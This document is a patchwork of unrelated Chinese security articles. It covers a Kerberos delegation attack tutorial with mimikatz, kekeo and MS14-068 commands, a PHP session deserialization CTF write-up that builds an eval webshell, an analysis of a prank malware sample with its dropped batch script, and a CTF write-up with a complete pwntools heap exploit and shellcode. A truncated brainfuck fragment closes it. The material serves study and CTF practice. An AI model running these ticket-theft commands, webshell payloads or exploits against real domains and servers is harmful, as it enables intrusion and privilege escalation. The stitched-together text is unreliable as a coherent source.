kerberos委派详解
委派
域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。
服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时,
会在域内自动注册服务账号'SqlServiceAccount',这类账号不能用于交互式登录。
上图是经典的应用场景。一个域内普通用户jack通过Kerberos协议认证到前台WEB服后,前台运行WEB服务的服务账号websvc模拟(Impersonate)用户jack,以Kerberos协议继续认证到后台服务器,从而在后台服务器中获取jack用户的访问权限,即域中跳或者多跳的Kerberos认证。按照图中红色字体的数字,具体步骤如下:
1. 域内用户jack以Kerberos方式认证后访问Web服务器;
2. Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;
3. KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据TGT;
4. websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据TGS;
5. KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据TGS;
6. websvc收到的jack用户的授权票据TGS后,可访问文件服务,完成多跳认证。在域中,只有 服务账号 和 主机账号 才具有委派属性
主机账号就是AD活动目录中 Computers 中的计算机,也可以称为机器账号(一个普通域用户默认最多可以创建十个主机账号)。服务账号(Service Account)是域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域。例如SQL Server 在安装时,会在域内自动注册服务账号 SQLServiceAccount。也可以将域用户通过注册SPN变为服务账号。
委派的前提
需要被委派的用户未设置不允许被委派属性,这里如果打勾则Administrator用户不能够被委派
非约束性委派
对于非约束性委派,服务账号可以获取被委派用户的 TGT ,并将 TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT ,模拟用户访问任意服务。
当服务账号或者主机被设置为非约束性委派时,其 userAccountControl 属性会包含 WORKSTATION_TRUSTED_FOR_DELEGATION
从网络攻击的角度看,如果攻击者控制了服务账号B,并诱骗管理员来访问服务A,则可以获取管理员的TGT,进而模拟管理员访问任意服务,即获得管理员权限。越是大型网络、应用越多的网络,服务账号越多,委派的应用越多,越容易获取域管理员权限。
约束性委派
由于非约束委派的不安全性,微软在Windows Server 2003中发布了约束性委派。对于约束性委派(Constrained Delegation),即Kerberos的两个扩展子协议 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy),服务账号只能获取用户的TGS,从而只能模拟用户访问特定的服务。
配置了约束委派的账户的 userAccountControl 属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性,还会指定对哪个SPN进行委派。
基于资源的约束性委派
为了使用户/资源更加独立,微软在Windows Server 2012中引入了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,而把设置属性的权限赋予给了机器自身。基于资源的约束性委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派只能在运行WindowsServer2012和Windows Server 2012R2及以上的域控制器上配置,但可以在混合模式林中应用。配置了基于资源的约束委派的账户的userAccountControl属性为 WORKSTATION_TRUST_ACCOUNT,并且msDS-AllowedToActOnBehalfOfOtherIdenti
基于资源的约束性委派和约束性委派差别
委派的权限授予给了拥有资源的后端(B),而不再是前端(A)
约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林
不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑”msDS-AllowedToActOnBehalfOfOtherIdentity”属性的权限,也就是将计算机加入域的域用户 和 机器自身 拥有权限。
传统的约束委派是“正向的”,通过修改服务A的属性”msDS-AllowedToDelegateTo”,添加服务B的SPN(Service Principle Name),设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。
而基于资源的约束委派则是相反的,通过修改服务B属性”msDS-AllowedToActOnBehalfOfOtherIdentity”,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。
非约束委派和约束委派的流程
非约束委派流程
前提:在机器账号B上配置了非约束性委派(域管理员才有权限配置)
1.用户访问机器B的某个服务,于是向KDC认证。KDC会检查机器B的机器账号的属性,发现是非约束性委派,KDC会将用户的TGT放在ST服务票据中。
2.用户访问机器B时,TGT票据会和ST服务票据一同发送给机器B
3.这样B在验证ST服务票据的同时获取了用户的TGT,并将TGT存储在LSASS进程中,从而可以模拟用户访问任意服务。
从网络攻击的角度来看,如果攻击者控制了机器B的机器账号,并且机器B配置了非约束性委派。则攻击者可以诱骗管理员来访问机器B,然后攻击者可以获取管理员的TGT,从而模拟管理员访问任意服务,即获得了管理员权限。
约束性委派流程
前提:在服务A上配置到服务B约束性委派(域管理员才有权限配置)
1.用户访问服务A,于是向域控进行kerberos认证,域控返回ST1服务票据给用户,用户使用此服务票据访问服务A
2.若该服务A允许委派给服务B,则A能使用S4U2Proxy协议将用户发送给自己的可转发的ST1服务票据以用户的身份再转发给域控制器。于是域控返回给服务A一个ST2服务票据。
3.服务A便能使用获得的ST2服务票据以用户的身份访问服务B。
从网络攻击的角度来看,如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。则攻击者可以利用服务A以administrator身份访问域控的CIFS服务,即相当于控制了域控。
筛选非委派属性的账号
注:域控主机账户默认开启非约束委派
PowerSploit下的PowerView.ps1脚本
Import-Module .\\PowerView.ps1;查询域中配置非约束委派的账户
Get-NetUser -Unconstrained -Domain Drunkmars.com
Get-NetUser -Unconstrained -Domain Drunkmars.com \| select name查询域中配置非约束委派的主机:
Get-NetComputer -Unconstrained -Domain Drunkmars.com \| select name
ADFind
使用参数
AdFind [switches] [-b basedn] [-f filter] [attr list]
参数说明:
-b:指定要查询的根节点
-f:LDAP过滤条件
attr list:需要显示的属性
查找域中配置非约束委派的用户:
AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName查找域中配置非约束委派的主机:
AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName
ldapsearch
kali自带,可以在域外使用
查找域中配置非约束委派的用户
ldapsearch -x -H ldap://192.168.200.143:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\45 -b"DC=0day,DC=org""(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"查找域中配置非约束委派的主机
powershell ldapsearch -x -H ldap://192.168.200.146:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\45 -b"DC=0day,DC=org" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep -iE "distinguishedName"
查询某用户是否具有委派性
Import-Module .\\powerview.ps1;
Get-DomainUser 域用户名 -Properties
useraccountcontrol,msds-allowedtodelegateto| fl当该账号没委派属性时,查询不出任何信息
当服务账号被设置为 非约束性委派 时,其 userAccountControl 属性会包含为 TRUSTED_FOR_DELEGATION
当被设置为 约束性委派 时,其 userAccountControl 属性包含
TRUSTED_TO_AUTH_FOR_DELEGATIONhttps://msdn.microsoft.com/en-us/library/aa772300%28v=vs.85%29.aspx
且msds-allowedtodelegateto 属性会被设置为哪些 SPN。
非约束委派攻击
非约束委派:当user访问service1时,如果service1的服务账号开启了 unconstrained delegation (非约束委派),则当 user 访问 service1时会将user的 TGT 发送给 service1 并保存在内存中以备下次重用,然后 service1 就可以利用这张 TGT 以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了
操作环境:
域:Drunkmars.com
域控:windows server 2012R2,主机名:WIN-M836NN6NU8B,IP: 192.168.10.5
域管账户:sqladmin
域内主机:windows7,主机名:MESSI-PC,IP:192.168.10.7,用户:mars2(普通域用户)
注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的
查找非约束委派主机帐号
Import-Module .\\powerview.ps1;
Get-NetComputer -Unconstrained -Domain Drunkmars.com \| select name
导出票据
先访问DC,可以看到访问失败
用任意域管帐号访问win7(这里域管帐号登录在任意一台机器都可以)
此时,在主机win8的lsass.exe内存中就会有域用户sqladmin的TGT票据
我们在win8上以管理员权限运行mimikatz,执行以下命令
privilege::debug导出票据
sekurlsa::tickets /export
注入票据
用 mimikatz 将这个票据导入内存中,然后访问域控
导入票据
kerberos::ptt [0;33f6ebf]-2-0-60a00000-sqladmin@krbtgt-0DAY.ORG.kirbi查看票据
kerberos::list
访问域控
约束性委派攻击
操作环境:
域:0day.org
域内主机: windows 7 ,主机名:PC-jack-0day,IP:192.168.3.62,用户:jack
域控:OWA2010SP3
我们设置了机器用户PC-jack-0day对OWA2010SP3的 cifs 服务的委派
查找约束性委派的主机账号
请求用户TGT
已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT
tgt::ask /user:PC-JACK-0DAY /domain:0day.org /password:password /ticket:test.kirbi参数:
/user : 服务用户的用户名
/password : 服务用户的明文密码
/domain : 所在域名
/ticket : 指定票据名称,不过这个参数没有生效,可以忽略
kekeo同样也支持使用 NTLM Hash
在请求服务用户的TGT那步直接把 /password 改成 /NTLM 即可
这里我们知道PC-JACK-0DAY的ntlm hash为:768623e06fae601be0c04759c87d93d3
执行如下命令
tgt::ask /user:PC-JACK-0DAY /domain:0day.org /NTLM:768623e06fae601be0c04759c87d93d3 /ticket:test.kirbi
得到mailto:TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt~mailto:0day.org@0DAY.ORG.kirbi
获取ST
然后我们可以使用这张TGT通过伪造s4u请求以 administrator 用户身份请求访问 OWA2010SP3 CIFS 的ST
tgs::s4u /tgt:TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt\~0day.org@0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org
S4U2Self 获取到的ST1以及 S4U2Proxy 获取到的OWA2010SP3 CIFS服务的ST2会保存在当前目录下
注入ST2
然后我们用mimikatz将ST2导入当前会话即可
kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs\~OWA2010SP3.0day.org@0DAY.ORG.kirbi
访问域控
不知道服务用户密码的情况
如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用 mimikatz 直接从内存中把服务用户的TGT dump出来
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
注: sekurlsa::tickets 是列出和导出所有会话的 Kerberos 票据, sekurlsa::tickets 和 kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export 需要管理员权限的原因。并且 sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。
既然服务用户的TGT导出来了,我们就跳过 tgt::ask 请求TGT这步,直接 tgs::s4u
tgs::s4u /tgt:[0;3e7]-2-1-40e00000-PC-JACK-0DAY\$@krbtgt-0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org
kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs\~OWA2010SP3.0day.org@0DAY.ORG.kirbi
抓包分析约束性委派攻击过程
这里可以看到有6个请求
AS-REQ
可以看到用户PC-JACK-0DAY用户向KDC请求一张TGT
AS-REP
返回一张TGT,这张TGT代表的就是PC-JACK-0DAY这个用户
第一次的TGS-REQ和TGS-REP
用这张 TGT 发送 S4U2self 请求,以 Administrator 的名义向 TGS 申请了一张访问自身服务的票据,ST1
第二次的TGS-REQ和TGS-REP
得到 ST1 之后,然后会带上ST1再次向 KDC 发起 SU42Proxy 请求,以 administrator 的名义请求一张访问 OWA2010SP3 cifs 服务的票据,ST2
利用约束性委派进行权限维持
我们都知道TGT的生成是由 krbtgt 用户加密和签名的,如果我们能委派域上的用户去访问TGS ,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用 krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。
注: TGS 默认的spn是 krbtgt/domain name ,我们操作环境是 krbtgt/QIYOU.COM
krbtgt 默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。
我们可以使用powershell来添加
Import-Module ActiveDirectory
$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }我们控制的用户选择的是自己创建的 test 域用户。密码Yicunyiye123
域控:OWA2010SP3 192.168.200.146
域:0day.org
攻击机:Kali
首先修改 kali 的/etc/hosts/文件,添加如下内容
192.168.200.146 0day.org
192.168.200.146 OWA2010SP3
创建域用户test然后赋予SPN
然后在域控上配置test用户到krbtgt用户的约束性委派
Import-Module ActiveDirectory
$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }
可以看到test账户具有委派性
然后在kali上攻击
域委派的防御措施
因为委派比较实用我们也不能说直接简单粗暴关闭该功能
1.高权限用户可以设置不能被委派
可以看到administrator是无法成功的,但是sqladmin可以
2.Windows 2012R2及更高的系统建立了受保护的用户组,组内用户不允许被委派,这是有效的手段。受保护的用户组,当这个组内的用户登录时(windows2012 R2域服务器,客户端必须为Windows 8.1或之上),不能使用NTLM认证;适用于Windows Server 2016 , Windows Server 2012 R2 、 Windows Server 2012
3.一般TGT 4小时后失效
4.Kerberos预认证时不使用DES或者RC4等加密算法
PAC
原理分析:https://www.anquanke.com/post/id/192810#h2-1
kerberos的流程:
1.用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳,KDC使用用户hash进行解密,如果结果正确返回用krbtgthash加密的TGT票据
2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgthash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据
3.用户拿着TGS票据去请求服务,服务使用自己的hash解密TGS票据。如果解密正确,就允许用户访问。
上面这个流程看起来没错,却忽略一个最重要的因素,那就是用户有没有权限访问该服务,在上面的流程里面,只要用户的hash正确,那么就可以拿到TGT,有了TGT,就可以拿到TGS,有了TGS,就可以访问服务,任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who am i?”的问题,并没有解决 “What can I do?”的问题。
在Kerberos最初设计的流程里说明了如何证明客户端的真实身份,但是并没有说明客户端是否有权限访问该服务,因为在域中不同权限的用户能够访问的资源是不同的。所以微软为了解决权限这个问题,引入了 PAC (Privilege Attribute Certificate,特权属性证书) 的概念。
MS14-068
MS14-068编号CVE-2014-6324,补丁为3011780,如果自检可在域控制器上使用命令检测。systeminfo |find "3011780" 为 空说明该服务器存在MS14-068漏洞
环境:
域机器:MESSI-PC,win7,知道一个域用户和密码:mars2\Drunkmars,Fcb0519..,拥有该机器的管理员权限
域控:WIN-M836NN6NU8B,ip:192.168.10.5
生成票据
MS14-068.exe -u mars2@Drunkmars.com -p Fcb0519.. -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5
可以看到已经生成了mailto:TGT_mars2@Drunkmars.com.ccache
mimikatz导入票据
kerberos::ptc 票据路径
访问域控
一篇文章弄懂session的两种存储方式
PHP中session有哪些存储方式?
根据官方文档我们可以看到,一共有三种存储方式:PHP序列化格式、PHP内部格式以及WDDX。
如果不使用ini_set设置相关session存储方式,在默认情况下就使用php,也就是php内部格式。
本篇文章仅讨论PHP序列化格式以及php默认处理器这两种存储方式,不探讨WDDX的存储方式。
还有一种是php_binary的格式,本文也不做探讨,这里就列出在不同模式下的存储方式。
php默认处理器与php序列化存储方式有哪些差异?
php默认处理器
首先我们使用php默认处理器,初始化session,并给session赋值,实验代码如下:
<?php
//ini_set("session.serialize_handler","php");
session_start();
$_SESSION['tt'] = "Lxxx";
访问该网页后我们可以看到以下内容:
这里的信息量有点大,我们逐个分析:
首先访问该网页后,在Cookie中会新建一个值,键名为PHPSESSID,键值为一串随机的字符串,其中键名是由session.name决定的,如果不设置,默认为PHPSESSID
新建了一个session之后,服务器会将会话信息存储在tmp目录中,文件名为PHPSESSID_<value>,其中value的值即为浏览器中PHPSESSID的值
在这个文件中,会将session信息分为两部分存储,一个是服务器代码中设置session的键名,另一个为session的键值,中间用竖线|隔开
php序列化处理器
同样的,我们还是用上方的代码,不过将session存储的方式修改为php序列化,代码如下:
<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['tt'] = "Lxxx";
得到的结果如下:
可以看到,与php默认处理器唯一不同点就在于:存储的内容变为了序列化之后的结果。
那么如果将这两个处理器结合起来,会产生什么安全问题呢?
session存储中可能产生的安全问题:
由于PHP默认情况下使用的session存储方式为PHP默认处理器,即存储的内容用竖线|进行分割,那么开发者在开发的时候,如果没有统一好存储的方式,比如在某个页面中使用PHP默认处理器操作session,但是在其他页面用PHP序列化操作session,如果在这个过程中有数据的交换,就很有可能存在反序列化注入问题。
光说可能有些抽象,接下来使用一道CTF赛题来阐述session存储中可能存在的安全问题。
用一道CTF题阐述session的安全问题:
首先呢,打开题目:
乍一眼看是登录页面,可能是SQL注入有关,但是经过我们扫描后,存在http://www.zip源代码泄露。在http://www.zip中存在以下文件:
相关代码如下:(有些做了省略)
index.php
<?php
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
inc.php
<?php
ini_set('session.serialize_handler', 'php');
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
check.php
<?php
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
这一道题,经过初步审计之后,我们可以发现三个比较重要的地方:
首先在index.php代码中,有以下代码
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
这一行代码看上去有登录失败次数的限制,但是由于题目中limit打成了limti,所以,实际上这一行代码并不影响我们做题。
在inc.php中,存在以下代码:
ini_set('session.serialize_handler', 'php');
前面我们提到,默认的PHP对于session的处理方式就是php,但是这里又通过ini_set来设置处理方式是php,由此我们可以大胆假设,这题的环境,默认的session处理方式为php序列化
同样还是在inc.php页面中,有以下代码:
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
在这一个地方,存在一个文件写入的漏洞,其中文件名以及写入的内容都可控。
经过初步审计之后,我们可以尝试使用将User类序列化后的字符写入limit中,当其他页面调用limit的时候,使用的是php序列化的处理器,这时候php就会对User类进行反序列化,最终写入我们的shell
所以我们构造一个User类,写入相关的shell,并且序列化之后添加一个竖线|,最后进行base64编码。
这里需要添加竖线|的原因是,在inc.php页面中使用了PHP的处理器,而在其他地方使用“默认”的PHP序列化处理器。
构造对象如下:
<?php
class User{
public $username = "1.php";
public $password = '<?php eval($_POST["a"]);?>';
}
$a = new User();
echo base64_encode("|".serialize($a));;
?>
得到结果:
fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4iO30=
首先访问index.php建立会话,然后将这一串传入cookie中的limit
再带参数访问check.php
check.php?u=123&pass=456
访问之后,就会在目录下生成log-1.php的后门文件,连接密码为a,即可成功getshell。
https://www.yijinglab.com/cour.do?w=1&c=CCID2d0a-0673-40fe-8ac6-bd3c08e8179f
一款专门针对高质量女性的易语言钓鱼样本简单分析
由于一直没怎么分析过易语言的样本,想学习一下易语言的样本分析过程,正好最近碰见了一个易语言编写的样本,是一个专门针对人类高质量女性进行钓鱼的样本,正好拿来学习学习,笔者是一边学习一边分析,如有不对之处还望各位批评指正。
该样本图标如下:
https://www.yijinglab.com/cour.do?w=1&c=CCID039e-e54e-46fb-b0f2-609db99a3ee2好像和前段时间流行的某人类高质量男性留着一样的发型?查看详细信息发现文件说明处还专门指出“高质量女性请运行”:
易语言的特点
要分析清楚易语言,首先得大概了解一下易语言程序怎么开发,怎么编译,易语言是一款中文编程语言,它通过封装一些支持库来拓展自身的功能。如下是一个demo:
易语言有两种主要的编译方式:
独立编译:是指易语言编译时,程序和易语言的支持库打包在一个exe文件中。程序可以脱离易语言环境使用。
非独立编译:是指易语言编译时,单独编译exe文件,这样生成的文件体积小。必须带上支持库才能使用程序。
如果依赖库不存在将会弹出报错窗口:
样本静态分析
那么有了上述知识,我们就可以判断这个样本是哪种编译方式了,拖入Ida首先发现样本会在Temp临时目录创建以E_N开头的文件夹,并释放一些后缀名为.fnr和.fne的PE文件。
调用LoadLibrary和GetProcessAddress函数,加载支持库文件,获取GetNewSock的函数地址:
然后发现后面会调用call eax和MessageBox:
这些都是易语言加载支持库的一些特征,该样本使用的是独立编译,接下来我们直接进行动态分析。
样本动态分析
我们使用火绒剑结合OD进行动态调试分析,对一些关键的API下断点,如CreateFileA,MessageBoxA,CreateProcessA,CreateWindowExA等,于是我们就可以发现除了krnln.fnr还释放了其他的支持库文件:
其中eAPI.fne是应用接口支持库,iext.fne是拓展界面支持库,krnln.fnr是系统核心支持库,shell.fne是操作系统界面功能支持库,spec.fne是特殊功能支持库,mp3.run、com.run、wmp.dll对应的是Windows媒体播放器支持库。看来这个样本可能会播放音频或者视频。继续运行发现:
同时还释放并运行一个bat文件:
dc.bat内容为:
@echo off
cd c:\users\%username%\desktop\
for /L %%X IN (1,1,999) DO type nul>人类高质量男性%%X.txt
doskey regedit=regedit.
doskey gpedit.msc= gpedit.Msc.
doskey gpedit= gpedit.Msc.
doskey net=net.
doskey mmc = mmc.
doskey mmc.exe = mmc.
doskey assoc=assoc.
doskey ftype=ftype.
doskey del = del.
doskey delete = del.
doskey RD = rd.
运行后桌面会出现999个txt文件:
同时,temp目录下还释放了如下文件:
然后出现如下类似微信电话的窗口:
当点击接听的时候便会播放音频和视频:
对于窗口所触发的行为我们可以使用OD的窗口界面:
在按钮处设置消息断点,当发生对应的事件时即可断在消息处理函数处。
然后便退出了。
其中当点击拒接微信电话时,便会出现恶搞现象,电脑屏幕出现“分块”现象,同时播放wallpaper.mp4:
还会像熊猫烧香一样将所有的exe文件图标全部修改:
这些功能主要是由释放出的FZ%.exe实现的,感兴趣的可以找我索要样本,继续分析一下,但一定要在虚拟机下运行,提前做好快照备份。
长城杯线上赛WP (团队解题思路)
本文为goodcat战队参赛wp,非官方出品
目录
https://www.yijinglab.com/pages/CTFLaboratory.jspPwn
1、 K1ng_in_h3Ap_II
libc2.27-0ubuntu1.4,存在明显的UAF;
tcahce double free 控制tcache struct,将counts[]数组全部填满后, 将其释放到unsortedbin可泄露libc;
之后再次double free 将free_hook改为setcontext,布置好orw,之后读出flag。
from pwn import*
context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"
context.terminal = ['tmux', 'splitw', '-h']
#r = process("./pwn2")
r = remote("47.104.175.110", 61608)
libc = ELF("./libc.so.6")
def allocate(index, size):
r.sendlineafter(">> \n", "1")
r.sendlineafter("input index:\n", str(index))
r.sendlineafter("input size:\n", str(size))
def delete(index):
r.sendlineafter(">> \n", "2")
r.sendlineafter("input index:\n", str(index))
def edit(index, content):
r.sendlineafter(">> \n", "3")
r.sendlineafter("input index:\n", str(index))
r.sendafter("input context:\n", content)
def show(index):
r.sendlineafter(">> \n", "4")
r.sendlineafter("input index:\n", str(index))
for i in range(8):
allocate(0, 0x10)
allocate(0, 0x40)
for i in range(7):
allocate(0, 0x60)
allocate(0, 0x60)
delete(0)
edit(0, 'a' * 0x10)
delete(0)
show(0)
heap_addr = u64(r.recv(6) + '\x00\x00') & 0xfffffffffffff000
print "heap_addr = " + hex(heap_addr)
edit(0, p64(heap_addr+0x10))
allocate(0, 0x60)
allocate(0, 0x60)
edit(0, 'a' * 64)
delete(0)
show(0)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
set_context = libc_base + libc.symbols['setcontext']
mprotect = libc_base + libc.sym['mprotect']
print "libc_base = " + hex(libc_base)
print "mprotect = " + hex(mprotect)
allocate(0, 0x58)
edit(0, '\x00' * 0x58)
allocate(1, 0x38)
delete(1)
edit(1, p64(free_hook))
allocate(1, 0x38)
allocate(1, 0x38)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(3, 0x10)
allocate(4, 0x30)
allocate(5, 0x30)
new_addr = free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % new_addr
edit(1, p64(set_context+53) + p64(free_hook+0x10) + asm(shellcode1))
edit(4, p64(0) + p64(new_addr) + p64(0x1000) + p64(0) + p64(0) + p64(7))
edit(5, p64(free_hook + 0x8) + p64(mprotect))
delete(2)
sleep(0.5)
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
r.sendline(asm(shellcode2))
r.interactive()
Re
1、 Just_cmp-re | Solved | working:
find the cmp str.
buu原题
hook原文
将原文转成qword
与加密key相加得到flag
flag{a14a424005b14e2b89ed45031ea791b9}
2、 Funny_js
根据题目名称,发现是一道js框架的题目
提取js字节码如下:
0x02, 0x1B, 0x06, 0x72, 0x63, 0x34, 0x04, 0x73, 0x6E, 0x02, 0x69, 0x02, 0x6A, 0x02, 0x6B, 0x02, 0x6C, 0x02, 0x6D, 0x02, 0x6E, 0x04, 0x75, 0x6E, 0x06, 0x61, 0x72, 0x72, 0x0C, 0x63, 0x69, 0x70, 0x68, 0x65, 0x72, 0x2A, 0x32, 0x30, 0x32, 0x31, 0x71, 0x75, 0x69, 0x63, 0x6B, 0x6A, 0x73, 0x5F, 0x68, 0x61,
参考了这一篇博客
对 quickjs.c 进行 patch:
得到字节码如下,对dump出来的字节码进行分析,提取出密文
[150, 224, 244, 68, 61, 125, 8, 239, 203, 254, 241, 113, 213, 176, 6
4, 106, 103, 166, 185, 159, 158, 172, 9, 213, 239, 12, 100, 185, 90, 174, 1
07, 131, 223, 122, 229, 157]
再提取出加密过程如下:
RC4_KEY="2021quickjs_happygame"
push_i16 150
push_i16 224
push_i16 244
push_i8 68
push_i8 61
push_i8 125
push_i8 8
push_i16 239
push_i16 203
push_i16 254
push_i16 241
push_i8 113
push_i16 213
push_i16 176
push_i8 64
push_i8 106
push_i8 103
push_i16 166
push_i16 185
push_i16 159
push_i16 158
push_i16 172
push_i8 9
push_i16 213
push_i16 239
push_i8 12
push_i8 100
push_i16 185
push_i8 90
push_i16 174
push_i8 107
push_i16 131
array_from 32
push_i16 223
define_field "32"
push_i8 122
define_field "33"
push_i16 229
define_field "34"
push_i16 157 43 define_field "35"
加密过程就是一个异或(56-17)外加rc4(key为2021quickjs_happygameH)
解密得到flag为flag{2021_9u1ck_1s_v3r7_1nT3r3st1n9}
Misc
1、你这flag保熟吗
binwalk提取两张图片,分别得到一个字母数字混合的表格和一个hint.txt
password.xls
hint.txt
希尔伯格曲线 取出表格中的字符,单独放到password.txt的文件中,运行脚本如下:
import base64
from hilbertcurve.hilbertcurve import HilbertCurve
array = []
password = ''
p = 8;n=2
hilbert_curve = HilbertCurve(p, n)
with open('password.txt','r',encoding='utf-16') as file:
# a = file.readline().replace("\t", "").replace("\n", "")
# print(a)
for i in range(256):
a = file.readline().replace("\t", "").replace("\n", "")
array.append(a)
for i in range(256*256):
[m,n] = hilbert_curve.point_from_distance(i)
password += array[n][m]
# print(password)
import base64
temp = password
for i in range(25):
temp = base64.b64decode(temp)
print(temp)
得到base64加密后的密文如下:
base解密得到密码
解压后发现里面是brainfuck
>+++++++++[<+++++++++++++ >-]>+ ++[< +++++++++++++++++++++++++++++
++++++++>-]>++[<+++++++++ +++++ ++++++ +++++++++++++++++++++++++++++
++++++++++++>-]>++++[<+++ +++++ ++++++++ +++++++++++++>-]>+++[<+++++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ +>-] ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ >>+++ +++[ <+++ +++++
+++++ +++++ +>-] >++[ <++++
+++++++++++++++++++++++++ +++++ +++++++>-]>+++++++++++[< +++++ ++++++>-]>++[<++
+++++++++++++++++++++++++ +++++ ++++++++++++++++++++++++++ +>-]> +++++++[<++++++++
+++++++>-]+++++++++++++++ +++++ ++++++++++++++++++++++++++++ +++++ +++ +++++
